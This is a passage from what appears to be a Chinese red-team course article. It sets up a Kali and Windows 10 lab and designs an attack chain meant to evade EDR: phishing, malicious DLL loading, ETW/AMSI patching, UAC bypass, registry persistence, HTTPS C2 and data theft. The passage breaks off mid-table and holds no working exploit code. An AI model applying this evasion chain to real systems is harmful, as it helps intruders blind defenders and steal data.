      <description>一、前言概述本课将进行综合实战演练，包括实验环境搭建、攻击链设计和工具组合使用，通过实践，将能够综合运用所学技</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-16 08:30</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=638228a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FM5H82XuSHY6CEgtdPuOFsZSmLGhzu3aouSaQTsAiaXJiboLMGb88ecr1SOToLic09EO7q0F1Rmyx8pFjjVOWS9hSvgqaA8qkUdYiaHagdeWB8Ks%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">本课将进行综合实战演练，包括实验环境搭建、攻击链设计和工具组合使用，通过实践，将能够综合运用所学技术。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 实验环境搭建</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.1 环境要求</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">硬件要求：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">CPU: 4核心以上</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">内存: 16GB以上</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">硬盘: 100GB以上</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">软件要求：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">宿主机: Windows 10/11 或 Linux</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">虚拟化软件: VMware Workstation / VirtualBox</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">虚拟机: Windows 10/11</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.2 虚拟机配置</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击机（Kali Linux）：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">- 操作系统: Kali Linux 2023.x</span><span leaf=""><br/></span><span leaf="">- 内存: 4GB</span><span leaf=""><br/></span><span leaf="">- 硬盘: 50GB</span><span leaf=""><br/></span><span leaf="">- 网络: NAT或桥接</span><span leaf=""><br/></span><span leaf="">- 工具: Metasploit, Cobalt Strike, Visual Studio Code</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">靶机（Windows 10）：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">- 操作系统: Windows 10 21H2</span><span leaf=""><br/></span><span leaf="">- 内存: 8GB</span><span leaf=""><br/></span><span leaf="">- 硬盘: 60GB</span><span leaf=""><br/></span><span leaf="">- 网络: NAT或桥接</span><span leaf=""><br/></span><span leaf="">- EDR: Windows Defender / CrowdStrike试用版</span><span leaf=""><br/></span><span leaf="">- 工具: Visual Studio 2022, x64dbg, Process Monitor</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.3 网络配置</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">攻击机: 192.168.1.100</span><span leaf=""><br/></span><span leaf="">靶机: 192.168.1.101 + EDR</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.4 工具安装</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击机工具：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">sudo apt update &amp;&amp; sudo apt upgrade -y</span><span leaf=""><br/></span><span leaf="">sudo apt install metasploit-framework -y</span><span leaf=""><br/></span><span leaf="">sudo apt install mingw-w64 nasm -y</span><span leaf=""><br/></span><span leaf="">sudo snap install code --classic</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">靶机工具：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 安装Visual Studio 2022</span><span leaf=""><br/></span><span leaf=""># 安装x64dbg</span><span leaf=""><br/></span><span leaf=""># 安装Process Monitor</span><span leaf=""><br/></span><span leaf=""># 安装Python</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 攻击链设计</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.1 攻击目标</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">目标：</span></strong><span leaf="">在安装了EDR的Windows 10系统上执行恶意代码，并绕过EDR检测。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">要求：</span></strong></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">不触发EDR告警</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">获得持久化访问</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">执行后续操作（如数据窃取）</span></p></li></ol><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.2 攻击链设计</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">1. 初始访问</span><span leaf=""><br/></span><span leaf="">   └─▶ 钓鱼邮件 / 漏洞利用</span><span leaf=""><br/></span><span leaf="">2. 执行</span><span leaf=""><br/></span><span leaf="">   └─▶ 白+黑技术加载恶意DLL</span><span leaf=""><br/></span><span leaf="">3. 绕过EDR</span><span leaf=""><br/></span><span leaf="">   └─▶ Patch ETW/AMSI</span><span leaf=""><br/></span><span leaf="">4. 权限提升</span><span leaf=""><br/></span><span leaf="">   └─▶ UAC绕过</span><span leaf=""><br/></span><span leaf="">5. 持久化</span><span leaf=""><br/></span><span leaf="">   └─▶ 注册表 / 计划任务</span><span leaf=""><br/></span><span leaf="">6. 命令与控制</span><span leaf=""><br/></span><span leaf="">   └─▶ RPC隧道 / HTTPS</span><span leaf=""><br/></span><span leaf="">7. 数据窃取</span><span leaf=""><br/></span><span leaf="">   └─▶ 文件搜索 / 屏幕截图</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.3 技术选择</span></span></h4><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">阶段</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">技术选择</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">原因</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">初始访问</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">钓鱼邮件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">最常见的初始访问方式</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">执行</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">白+黑</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">利用合法程序，不易被阻止</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">绕过EDR</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">Patch ETW/AMSI</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">致盲EDR，不触发告警</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">权限提升</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">UAC绕过</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">获得管理员权限</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">持久化</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">注册表</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">隐蔽且持久</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">C2</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">HTTPS</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 